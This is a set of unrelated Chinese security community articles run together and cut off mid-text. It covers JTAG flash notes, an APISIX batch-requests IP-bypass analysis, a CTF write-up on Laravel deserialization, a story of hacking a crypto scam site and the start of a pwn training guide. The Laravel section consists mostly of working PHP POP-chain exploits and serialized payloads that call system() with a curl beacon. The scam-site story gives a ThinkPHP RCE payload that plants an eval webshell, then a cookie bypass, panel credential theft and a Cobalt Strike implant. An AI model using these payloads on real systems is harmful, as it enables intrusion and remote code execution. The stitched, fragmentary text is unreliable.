"CLAMP (11111111111111111111111111101111) " ;
当指令寄存器的值为`IDCODE`的时候，IDCODE寄存器的输出通道开启，我们来看看IDCODE寄存器：
attribute IDCODE_REGISTER of top: entity is
"0000" & -- version
"0000000011011111" & -- part number
"00101111111" & -- manufacturer's identity
"1"; -- required by 1149.1
从这里我们能看出IDCODE寄存器的固定输出为: `0b00000000000011011111001011111111`
那我们怎么获取TDO的输出呢？这个时候数据寄存器DR就发挥作用了。
1. TAP状态机切换到SHIFT-IR
2. 输出IDCODE到IR中
3. 切换到SHIFT-DR
4. 获取INSTRUCTION_LENGTH长度的TDO输出值
5. 退出
用代码形式的表示如下：
def ReadWriteData(data):
out_data = 0
clock(1, 0)
clock(0, 0)
clock(0, 0)
for i in range(32):
out_bit = clock((i == 31), ((data >> i) & 1))
out_data = out_data | (out_bit << i)
clock(1,0)
clock(0,0)
return out_data
def ReadData():
return ReadWriteData(0)
def WriteData(data):
ReadWriteData(data)
def idcode():
set_instr(INSTR_IDCODE)
print(hex(self.ReadData()))
因为我也是个初学者，边界扫描描述文件中的内容并不是都能看得懂，比如在边界扫描文件中并不能看出BYPASS指令是做什么的。但是在其他文档中，得知BYPASS寄存器一般是用来做测试的，在该寄存器中，输入和输出是直连，可以通过比较输入和输出的值，来判断端口是否连接正确。
另外还有边界扫描寄存器一大堆数据，也没完全研究透，相关的资料少的可怜。而且也找不到对应CPU的文档。
当研究到这里的时候，我只了解了jtag的基本原理，只会使用两个基本的指令(IDCODE, BYPASS)。但是对我修砖没任何帮助。
没办法，我又回头来看tjtag的源码，在tjtag中定义了几个指令寄存器的OPCODE:
INSTR_ADDRESS = 0x08
INSTR_DATA = 0x09
INSTR_CONTROL = 0x0A
照抄着tjtag中flash AMD的操作，可以成功对flash进行擦除，写入操作读取操作。但是却不知其原理。
这里分享下我的脚本：[jtag.py](/files/jtag.py)
flash文档：<https://www.dataman.com/media/datasheet/Samsung/K8D6x16UTM_K8D6x16UBM_rev16.pdf>
接下来将会对该flash文档进行研究，并在之后的文章中分享我后续的研究成果。
* * * | 社区文章 |
**作者：李安@星阑科技PotalLab
原文链接：<https://mp.weixin.qq.com/s/bbfFFczkycYCpRK0b7HeHg>**
## **漏洞描述**
攻击者可以向batch-requests插件发送请求来绕过管理API的IP限制。Apache
APISIX的默认配置(带有默认的API密钥)容易受到远程代码执行的攻击。当管理密钥更改或管理API端口更改为与数据面板不同的端口时，影响较小。但是，绕过Apache
APISIX数据面板的IP限制仍然存在风险。在batch-requests插件中有一个检查，它用真实的远程IP覆盖客户端IP。但是由于代码中的一个bug，这个检查可以被绕过。
#### **batch-requests 插件介绍**
batch-requests 插件可以一次接受多个请求并以 http pipeline
（<https://en.wikipedia.org/wiki/HTTP_pipelining>） 的方式在网关发起多个 http
请求，合并结果后再返回客户端，这在客户端需要访问多个接口时可以显著地提升请求性能。
在漏洞版本中、默认是启用状态。
<https://apisix.apache.org/zh/docs/apisix/2.12/plugins/batch-requests/>
#### **复现思路：**
1、搭建漏洞环境。(注意需要修改:conf.yaml/allow_admin)
2、查看diff记录、进行简单调试，漏洞分析。
3、漏洞测试。
## **漏洞版本**
Apache APISIX 1.3 ~ 2.12.1 之间的所有版本（不包含 2.12.1 ）
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本（不包含 2.10.4）
## **环境搭建**
搭建方式 | Docker 搭建 | |
---|---|---|---
| 版本号 | 默认端口 | 默认admin_key/用户
Apache APISIX | apisix:2.12.0-alpine | 9080 | edd1c9f034335f136f87ad84b625c8f1
Apache APISIX Dashboard | apisix-dashboard:2.10.1-alpine | 9000 | admin/admin
环境搭建可以使用下面这个Github地址：
Github 地址 <https://github.com/twseptian/cve-2022-24112/tree/main/apisix-docker>
cd CVE-2022-24112-main/apisix-docker/example/
vi apisix_conf/config.yaml
**将 allow_admin 修改为 127.0.0.0/24，此处修改的实际为nginx.conf。**
使用 docker-compose 创建docker容器。
docker-compose -p apisixCveTest up -d
在服务启动阶段、会读取config.yaml、生成nginx.conf 。
**1、会基于 Lua 模板 apisix/cli/ngx_tpl.lua 文件生成
nginx.conf。(APISIX架构介绍：<https://blog.csdn.net/alex_yangchuansheng/article/details/122053371>)**
**2、调用 ngx_http_access_module 模块。该模块限制客户端对某些地址的访问。(nginx
模块介绍：<http://nginx.org/en/docs/http/ngx_http_access_module.html#allow>)**
进入到容器中查看，conf/nginx.conf。allow/deny 是设置允许与拒绝访问的地址。只允许127.0.0.1/24 访问
/apisix/admin 接口。
Admin api 接口如下：
#### **漏洞分析**
**diff ：**
1.<https://github.com/apache/apisix/pull/6254/commits/f5d44d1f58e0160132f009465e807f4093601a11>
2.<https://github.com/apache/apisix/pull/6251/commits/8f28aadc35362f417f89db505c18cd7f1d548c86>
3.<https://github.com/apache/apisix/pull/6204/commits/3d4b35b8e07f2c7cfcce7d7f56f24fad4e6e39de>
查看diff记录后、修复方式是将real_ip_hdr 转化为小写。
1、查看插件batch-requests 代码，问题是出现在 set_common_header() 函数中
函数参数为data是我们传入的请求体经过json.decode()后的数据、类型为"table"。
查看代码,real_ip_hdr 为调用 try_read_attr()函数获取到的返回值。通过遍历表结构、获取到 real_ip_header
的值然后再赋值给real_ip_hdr 。
select('#', ...) 获取输入参数的数量，
select(i, ...) 获取第 n 个参数，
注意：此时的real_ip_hdr 为 X-Real-IP 为大写。该值为在系统启动后、给定的默认值。
2、通过遍历data.pipeline和data.headers 、将data.headers
出现的头信息赋值给data.pipline。发现data.headers中出现了x-real-ip:127.0.0.1 ，这是我们调用batch-requests插件传递的头信息，而此时系统默认的X-Real-IP为大写。
在请求头覆盖中、因为 real_ip_hdr 为 X-Real-IP ,
函数core.request.get_remote_clinte_ip()获取远程客户端ip、不能将 x-real-ip给覆盖。
查看此时的栈数据。在data.headers 中出现了 x-real-ip 与 X-Real-IP。
最后经由batch-requests 插件、使用PUT方法将请求发送到 /apisix/admin/xxxx 注册新的路由。通过filter_func
参数可写入一段lua代码、造成远程代码执行。
#### **漏洞测试**
#### **利用条件**
* batch-requests插件默认开启状态。
* 用户使用了 Apache APISIX 默认配置（启用 Admin API ，使用默认 Admin Key 且没有额外分配管理端口），攻击者可以通过 batch-requests 插件调用 Admin API 。
#### **攻击思路**
1、利用batch-requests 插件漏洞、绕过请求头检测；
2、通过伪造请求头、向Admin API 注册路由；
3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞。
## **修复意见**
1、更新至最新版本
2、禁用batch-requests 插件
## **参考材料**
**APISIX官网：**<https://apisix.apache.org/docs/apisix/2.12/getting-started/>
**APISIX Github：**<https://github.com/apache/apisix>
**漏洞环境：**<https://github.com/twseptian/cve-2022-24112>
**APISIX架构分析：**<https://blog.csdn.net/alex_yangchuansheng/article/details/122053371>
**漏洞发现：**<https://www.youtube.com/watch?v=yrCXamnX9No>
* * * | 社区文章 |
最近的安洵杯又看到`laravel`反序列化+字符逃逸，找人要了题拿出来舔一下，看题发现出题大哥一些链没完全堵死，总结下这类题和`laravel`中`POP`链接的挖掘过程
**个人水平较差、文中错误内容还请师傅们指教纠正。**
# 这类题的一些Tips:
## pravite 、Protected 属性序列化差别
`Private、Protected`属性序列化和`public`序列化稍有差异
example:
O:4:"test":3:{s:5:"test1";s:3:"aaa";s:8:"*test2";s:3:"aaa";s:11:"testtest3";s:3:"aaa";}
可以看到其中`Private`的属性序列化出来为`%00类名%00成员名`,而`protected`的属性为`%00*%00成员名`，所以这里``Private、protected`的长度都分别加了3和6。
这里输出中不会输出空字接，所以传递payload的时候需要将这里出现的空字节替换成`%00`。
## PHP 反序列化字符逃逸
出的也很多了不新奇了
题型参考安恒月赛Ezunserialize、强网2020web辅助、Joomla 的逃逸
拿安洵杯中的代码:
<?php
error_reporting(E_ALL);
function read($data){
$data = str_replace('?', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '?', $data);
return $data;
}
class player{
protected $user;
public function __construct($user, $admin = 0){
$this->user = $user;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
这些题都会给一个"读方法"和”写方法“来对`%00*%00`和`\0*\0`之间进行替换。这里给的是`\0*\0`和`?`的替换，之间还是，一样会吞并
**两个** 位置留给我们字符逃逸
`read`函数: 将`?`替换为`%00*%00`，将1个字符变成3个字符，`write`则替换回来，多两个字符空间
正常属性:
加入????：
这里可以看到第三行user属性的值变得非正常化了，s:8代表user属性长度是8，所以它会向后取8个字符的位置，但是现在`"qing\0*\0*\0*\0*\0"`它如果在这里里面取8个字符会取到`qing\0*\0\0`，后面的就逃逸出来了，所以要想把pop链接的payload作为反序列化的一部分而非`user`字符串值的一部分就需要构造合适数量的`?`来进行逃逸。
简单demo可以去看这个师傅的，这里不再叙述
[反序列化字符逃逸](https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html)
## 关键字检测、__wakup绕过、魔术方法调用
这些网上很多了 简单贴一下
### 关键字检测：
if(stristr($data, 'name')!==False){
die("Name Pass\n");
绕过：十六进制即可，\6e\61\6d\65
### __wakeup()绕过
**序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行**
### 一些魔术方法调用：
> __wakeup() //使用unserialize时触发
>
> __sleep() //使用serialize时触发
>
> __destruct() //对象被销毁时触发
>
> __call() //在对象上下文中调用不可访问的方法时触发
>
> __callStatic() //在静态上下文中调用不可访问的方法时触发
>
> __get() //用于从不可访问的属性读取数据
>
> __set() //用于将数据写入不可访问的属性
>
> __isset() //在不可访问的属性上调用isset()或empty()触发
>
> __unset() //在不可访问的属性上使用unset()时触发
>
> __toString() //把类当作字符串使用时触发
>
> **invoke() //当脚本尝试将对象调用为函数时触发 把对象当作执行的时候会自动调用** invoke()
# 安洵杯laravel反序列化字符逃逸
拿到源码重新配置下env和key等配置
### 入口:
`app/Http/Controllers/DController.php`:
Controller类:
`app/Http/Controllers/Controller.php`:
<?php
namespace App\Http\Controllers;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
class Controller extends BaseController
{
use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
}
function filter($string){
if(stristr($string, 'admin')!==False){
die("Name Pass\n");
}
return $string;
}
function read($data){
$data = str_replace('?', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '?', $data);
return $data;
}
class player{
protected $user;
public function __construct($user, $admin = 0){
$this->user = $user;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
都老套路就直接搜索哪里检测了'admin'字符串吧：
搜了以下`edit`没有存在函数，那可能就是调用不存在的方法来调用`__call()`
`laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php`
最重执行到`getFormatter`函数:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
...
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
...
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
`getFormatter`函数发现没啥戏，而`format`函数中的`return $this->validG->format($args,
$arguments);`,并且`$this->validG`可控，继续寻找下一位幸运儿
`vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
#format`看到了`call_user_func_array`了:
public function format($formatter, $arguments = array())
{
return call_user_func_array($formatter, $arguments);
}
# 编写POP反序列exp:
以最后反序列化执行`system()`为例:
如果要反序列执行危险函数比如system函数就要控制最后代码执行函数`call_user_func_array`的第一个参数`$formatter`，而这个是`$formatter`通过`laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php`的`return
$this->validG->format($args,
$arguments);`中`format`函数的`args`参数，此参数来自于`getFormatter`函数的返回值，控制`return
$this->formatters[$formatter];`返回类似`system、shell_exec'之类即可。
`getFormatter`
对`$this->providers`进行foreach取值，这个可控，传入给`getFormatter`函数的唯一参数`$formatter`的值是为`edit`这个字符串(最先调用`Generator`类的edit这个不存在的方法，固会调用`Generator`这个类的`__call`并传入edit参数)，所以需要做的就是将$this->formatters建立一个含有`'edit'`的键并键名为`'system'`数组:
class Generator
{
protected $providers = array();
protected $formatters = array('edit'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
}
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
最后在``vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
#format`的`call_user_func_array`中第二个参数`$arguments`为执行`system`函数的参数，由`laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php`的`format`函数第二个参数控制，而format函数由此类的`__call`调用，而`Generatorx`的`Call`由最开始的`PendingResourceRegistration`类的析构调用:
public function __destruct()
{
if($this->name='admin'){
$this->registrar->edit($this->controller);
}
}
所以这里的`$this->controller`即为最后system函数传入的参数,编写:
namespace Illuminate\Routing\PendingResourceRegistration{
class PendingResourceRegistration
{
protected $registrar;
protected $name = "admi\6e";
protected $controller = 'curl http://127.0.0.1:8833/qing';
protected $options = array('test');
public function __construct($registrar)
{
$this->registrar = $registrar;
}
public function __destruct()
{
if($this->name='admin'){
$this->registrar->edit($this->controller);
}
}
}
}
至于这里对于name属性的判断，十六进制改一下字符就行，老套路了。
## 最终exp:
写链接的时候私有属性赋值别漏写了，上面说的`pravite 、Protected`记得替换00
<?php
namespace Illuminate\Routing{
class PendingResourceRegistration
{
protected $registrar;
protected $name = "admi\\6e";
protected $controller = 'curl http://127.0.0.1:8833/qing';
protected $options = array('test');
public function __construct($registrar)
{
$this->registrar = $registrar;
}
}
}
namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array('edit'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
}
class ValidGenerator
{
protected $validator;
protected $maxRetries;
protected $generator = null;
public function __construct( $validator = null, $maxRetries = 10000)
{
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new Illuminate\Routing\PendingResourceRegistration(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}
再加上前面说的字符串逃逸的套路填充下逃逸字符即可。
## 最后字符串逃逸处理:
加上新增反序列属性部分和结尾的`}`来完成闭合，然后现在文本中的%00实际只能占一个字符但是文本中显示3个字符，替换成空格计算一下长度，最后再替换回去:
如果发现是单数可以把属性名加一位凑成442 ，这里我把属性名设置为 **`qingx`**
正好是偶数，`?`和\0*\0之间会吞两个字符，所以前面?的数量为221
## payload:
http://www.laravel57.com/task?task=?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????";s:5:"qingx";O:46:"Illuminate\Routing\PendingResourceRegistration":4:{s:12:"%00*%00registrar";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:4:"edit";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:7:"%00*%00name";s:7:"admi\6e";s:13:"%00*%00controller";s:31:"curl http://127.0.0.1:8833/qing";s:10:"%00*%00options";a:1:{i:0;s:4:"test";}}}
* * *
# 非预期解 +laravel反序列化POP链接挖掘
找链还是从起点开始 比如常见的析构和`__wakeup`
看出题老哥还是封了一些的 不过有的还是可以做
`laravel57\vendor\symfony\routing\Loader\Configurator\ImportConfigurator.php`
`__destruct`:
class ImportConfigurator
{
use Traits\RouteTrait;
private $parent;
public function __construct(RouteCollection $parent, RouteCollection $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
...
发现`\laravel57\vendor\symfony\routing\RouteCollection.php`的`addCollection`
然而这条路我找了并没有走通，有师傅这条走通的麻烦指点一下
public function addCollection(self $collection)
{
// we need to remove all routes with the same names first because just replacing them
// would not place the new route at the end of the merged array
foreach ($collection->all() as $name => $route) {
unset($this->routes[$name]);
$this->routes[$name] = $route;
}
foreach ($collection->getResources() as $resource) {
$this->addResource($resource);
}
}
回到搜索`addCollection`,走不动就调`__call`函数,其实这里就可以结合上面链的
## 结合原题中的__call方法POP链
laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php`的`__call`函数：
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
...
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
...
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
区别就是这里是调用`addCollection`函数，所以传递给`__call`函数的第一个参数就是`addCollection`,而`$this->route
=
$route`为传入`__call`函数的第二个参数，最后构造`laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php`中的`$this->formatters`数组中含有`addCollection`键值指向调用的危险函数名即可，做法参照上面的exp，不再叙述。
注意`Symfony\Component\Routing\Loader\Configurator\ImportConfigurator`中的`$parent`替换成`%00`+`Symfony\Component\Routing\Loader\Configurator\ImportConfigurator`+`%00`
### exp2:
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator
{
private $parent;
public function __construct($parent)
{
$this->parent = $parent;
$this->route = 'curl http://127.0.0.1:8833/qing';
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
}
}
namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array('addCollection'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
}
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
class ValidGenerator
{
protected $validator;
protected $maxRetries;
protected $generator = null;
public function __construct( $validator = null, $maxRetries = 10000)
{
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($formatter, $arguments);
}
}
}
namespace {
error_reporting(E_ALL);
$test = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:13:"addCollection";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:5:"route";s:31:"curl http://127.0.0.1:8833/qing";}
* * *
## 原生POP链挖掘
回到前面传入`addCollection`参数调用`__call`这步:
搜索发现`\laravel57\vendor\laravel\framework\src\Illuminate\Database\DatabaseManager.php`的call，没发现什么特别但是调用了自己的`connection`
public function connection($name = null)
{
$name = $name ?: $this->getDefaultDriver();
// If the connection has not been resolved yet we will resolve it now as all
// of the connections are resolved when they are actually needed so we do
// not make any unnecessary connection to the various queue end-points.
if (! isset($this->connections[$name])) {
$this->connections[$name] = $this->resolve($name);
$this->connections[$name]->setContainer($this->app);
}
return $this->connections[$name];
}
继续瞅瞅`getDefaultDriver`、`resolve`、`setContainer`这几个方法，发现一处`call_user_func`:
protected function resolve($name)
{
$config = $this->getConfig($name);
return $this->getConnector($config['driver'])
->connect($config)
->setConnectionName($name);
}
//跟进getConnector：
protected function getConnector($driver)
{
if (! isset($this->connectors[$driver])) {
throw new InvalidArgumentException("No connector for [$driver]");
}
return call_user_func($this->connectors[$driver]);
}
在跟到`getConnector`方法的时候发现其中的`call_user_func`函数的参数由`$this->connectors[$driver]`控制，而这个我们是可以构造来控制的，固可以利用这处来RCE.
构造的时候可以把`$this->connectors[$driver]`分两个部分构造，一个构造$driver部分，一个构造`$this->connectors`部分
#### 先看`$driver`:
可以看到`$this->connectors[$driver]`其中的`$driver`是在`resolve`函数中`return
$this->getConnector($config['driver'])`传递的，所以要去找$config，而`$config`为`$config =
$this->getConfig($name);`得到：
protected function getConfig($name)
{
if (! is_null($name) && $name !== 'null') {
return $this->app['config']["queue.connections.{$name}"];
}
return ['driver' => 'null'];
}
这里可以看到函数返回值`$this->app['config']["queue.connections.{$name}"];`赋值给`$config`,取的是app属性(
**三维** 数组)中`config`对应的数组下键值‘queue.connections.{$name}’对应的数组。`app`而又在构造函数赋值：
class QueueManager implements FactoryContract, MonitorContract
{
...
public function __construct($app)
{
$this->app = $app;
}
所以编写exp中让app三维数组中`config`指向的数组其中存在‘connections.{$name}’键值指向的数组中含有driver键值即可
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($func, $param) {
$this->app = [
'config'=>[
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
}
}
#### 再来看`$this->connectors`:
因为最后指向`call_user_func($this->connectors[$driver]);`的地方是在`$this->connectors`数组中取出来的值来指向，比如上面的$driver变量定义的字符串是`qing`，那这里定义connectors数组中增加一个这样的键值即可:
class QueueManager
{
public function __construct($func, $param) {
$this->app = [
'config'=>[
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$this->connectors = [
'qing'=>[
xxx
]
];
}
}
`call_user_func($this->connectors[$driver]);`这里都可以控制了，固到这一步现在可以调用任意函数或者任意类的任意函数了，傻瓜式找一个类有危险函数的：
`\laravel57\vendor\mockery\mockery\library\Mockery\ClosureWrapper.php`
这里传入closure参数为执行的函数，`func_get_args()`为执行函数传入的参数 ,调用这个类的`__invoke`即可
### 编写exp：
<?php
namespace Mockery {
class ClosureWrapper
{
private $closure;
public function __construct($closure)
{
$this->closure = $closure;
}
public function __invoke()
{
return call_user_func_array($this->closure, func_get_args());
}
}
}
namespace Illuminate\Queue {
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($a, $b) {
$this->app = [
'config'=>[
'queue.default'=>'qing',
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$obj = new \Mockery\ClosureWrapper("phpinfo");
$this->connectors = [
'qing'=>[
$obj, "__invoke"
]
];
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($a,$b)
{
$this->parent = new \Illuminate\Queue\QueueManager($a);
$this->route = null;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("qing","qing");
echo serialize($test);}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:29:"Illuminate\Queue\QueueManager":2:{s:6:"%00*%00app";a:1:{s:6:"config";a:2:{s:13:"queue.default";s:4:"qing";s:22:"queue.connections.qing";a:1:{s:6:"driver";s:4:"qing";}}}s:13:"%00*%00connectors";a:1:{s:4:"qing";a:2:{i:0;O:22:"Mockery\ClosureWrapper":1:{s:31:"%00Mockery\ClosureWrapper%00closure";s:7:"phpinfo";}i:1;s:8:"__invoke";}}}s:71:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00route";N;}
发现phpinfo一闪而过，但这里没办法传入执行函数的参数。
如果有师傅这里能执行任意参数的函数麻烦带带
这里因为有__invoke，我本想着把传入类似实例化对象当作函数执行的地址来传入参数发现都是没地址返回，折折腾腾半天这条路子就放弃了，如果要执行有参函数，目前用Mockery类无法完成，只有寻找其他类
`\laravel57\vendor\filp\whoops\src\Whoops\Handler\CallbackHandler.php`：
public function __construct($callable)
{
if (!is_callable($callable)) {
throw new InvalidArgumentException(
'Argument to ' . __METHOD__ . ' must be valid callable'
);
}
$this->callable = $callable;
}
/**
* @return int|null
*/
public function handle()
{
$exception = $this->getException();
$inspector = $this->getInspector();
$run = $this->getRun();
$callable = $this->callable;
// invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
// this assumes that $callable is a properly typed php-callable, which we check in __construct().
return $callable($exception, $inspector, $run);
}
翻到`CallbackHandler`这个类时候发现完全符合条件，并且在包中原本的作用就是拿来回调的，固执行有参数的pop链接最后可以拿这个收尾
这里回调的地方：
public function handle()
{
$exception = $this->getException();
$inspector = $this->getInspector();
$run = $this->getRun();
$callable = $this->callable;
// invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
// this assumes that $callable is a properly typed php-callable, which we check in __construct().
return $callable($exception, $inspector, $run);
}
发现函数名我们可以通过构造函数传入，函数的第一个参数我们也可控，不过函数的第二个参数和第三个参数默认是给null，找了一下符合要求的执行函数:
## 综上，exp3:
<?php
namespace Whoops\Handler{
abstract class Handler
{
private $run =null;
private $inspector =null;
private $exception =null;
}
class CallbackHandler extends Handler
{
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace Illuminate\Queue {
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($a) {
$this->app = [
'config'=>[
'queue.default'=>'qing',
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$obj = new \Whoops\Handler\CallbackHandler($a);
// $obj2 = $obj("curl http://127.0.0.1:8833/qing");
$this->connectors = [
'qing'=>[
$obj,'handle'
]
];
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($a, $b)
{
$this->parent = new \Illuminate\Queue\QueueManager($a);
$this->route = null;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("exec","qing");
echo serialize($test);}
### END
### Links：
<https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html>
<https://blog.csdn.net/qq_43531895/article/details/108279135>
<https://www.cnblogs.com/BOHB-yunying/p/12774297.html> | 社区文章 |
最近偶然发现一个虚拟货币买涨跌的杀猪盘，遂进行了一波测试，前台长这样。
为thinkphp5.0.5随用RCE进行打入，成功写入webshell。
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))
查看发现phpinfo信息发现已经禁用所有能够执行系统命令的函数，且com和dl加载都不能用无法执行相应的系统命令如下所示：
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
//php如上系统命令都已禁用
但有文件的读写权限没有禁用assert()，file_put_contents()等函数，查看后发现为windows系统如下所示：
由于php执行系统命令的函数都被禁用了，从而导致无法执行系统命令很难受。之后下载了他的网站源码简单看了一波，发现其管理员cookie固定且可以伪造如下所示看着像后门：
故可后台登录绕过，管理员cookie固定，添加cookie字段即可登录绕过。浏览器f12，在cookie中添加上述键值访问index，即可成功后台登录如下所示好多钱(被骗的人好多)：
前台询问客服了解到转账账户(该杀猪盘运作方式是用户将钱打入客服提供的账号后，用户再在自己的账号冲入相应数值的资金至后台审核，审核后即可使用该数值的钱进行货币的涨跌投资买卖交易)，留作证据上交：
由于之前一直无法执行系统命令，想要突破一下就开始翻他服务器上的文件，翻阅系统文件发现存在宝塔的文件夹，探测发现确实开放8888端口存在宝塔服务但默认登录入口已被修改，如下所示：
翻阅宝塔文件发现存储路径的文件名admin_path.pl，如下所示：
找到宝塔登录入口，成功访问该登录入口，如下所示：
继续翻阅发现一个default.pl的文件，该文件中存放的是相应的登录密码：
拿到密码尝试了默认用户名发现不对不能登录，继续翻文件default.db文件是记录登录记录的找到登录账号：
利用账号密码成功登录宝塔管理后台，如下所示：利用账号密码成功登录宝塔管理后台，如下所示：
找到定时任务处修改计划任务执行cs上线马，上线后在将计划任务改回如下所示：
cs成功上线如下所示：
查看ip仅有公网地址无内网，同C段还有其他几台部署的都是同一套东西就不在往下搞了：
总的就这样，没啥东西比较无味。 | 社区文章 |
这是一个台湾大佬Angelboy搞的一个pwn练习题集合，题目种类丰富，从最开始的简单逆向调试题到栈溢出漏洞，格式化字符串漏洞，再到堆漏洞的题目，最后还有一个c++的题，涵盖的pwn知识点算是比较全的，当时我在稍微入门pwn后，就是跟着这里面的题边练习边学，受益良多，在这里分享给大家
题目地址：<https://github.com/scwuaptx/HITCON-Training>
# lab1
这题是个简单的调试的题目，题意是让你输入一个整数，如果和随机数相同那么就能打印出flag，但实际上不需要这样，有以下三种方法可以操作：
## 方法一：自己解密
从ida中提取出异或加密的数值，写脚本解密
## 方法二：利用gdb动态调试，可以在已经生成了password并且还未输入magic的情况下个断点
可知，ebp-0x80的地方就是password存放地址，于是可以直接读出flag
## 方法三：利用gdb动态调试，设置eip，跳过判断对比语句，直接执行for循环得出flag
（也可以使用IDA的nop功能，也就是使用keypatch）
先运行sysmagic,不要输入数字，保持输入的状态不变：
新开一个窗口，ps -aux |grep sysmagic，得到pid = 3505；
然后sudo gdb attach 3505;
